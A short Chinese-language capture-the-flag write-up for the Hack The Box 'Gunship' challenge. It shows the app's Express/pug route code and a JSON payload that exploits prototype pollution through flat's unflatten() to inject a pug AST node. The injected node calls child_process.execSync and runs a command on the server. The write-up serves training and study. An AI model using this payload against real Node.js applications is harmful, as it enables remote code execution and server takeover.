HTB Gunship Writeup

题目描述

（有附件）

观察

打开网页：

查看源码：

const path              = require('path');
const express           = require('express');
const pug        		= require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

	if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the full name of an existing member.'
		});
	}
});

module.exports = router;

发现它使用了 pug 模板引擎，是专门用来生成 HTML的。

使用Burpsuit抓包可以发现网页给 /api/submit 发送的是：

渗透

这段代码里一开始引用的 unflatten() 正是漏洞所在。

（具体攻击原理参考 https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68）

将发送的内容改成（放到Repeater里修改了再发送）：

{
    "artist.name": "Haigh",
    "__proto__": {
        "block": {
            "type": "Text",
            "line": "console.log(process.mainModule.require('child_process').execSync('cp /app/flag* /app/static/flag').toString())"
        }
    }
}

这个内容经过 unflatten() 的处理后会变成：

{
    artist: { name: "Haigh" },
    __proto__: {
        block: {
            type: "Text",
            line: "console.log(process.mainModule.require('child_process').execSync('cp /app/flag* /app/static/flag').toString())"
        }
    }
}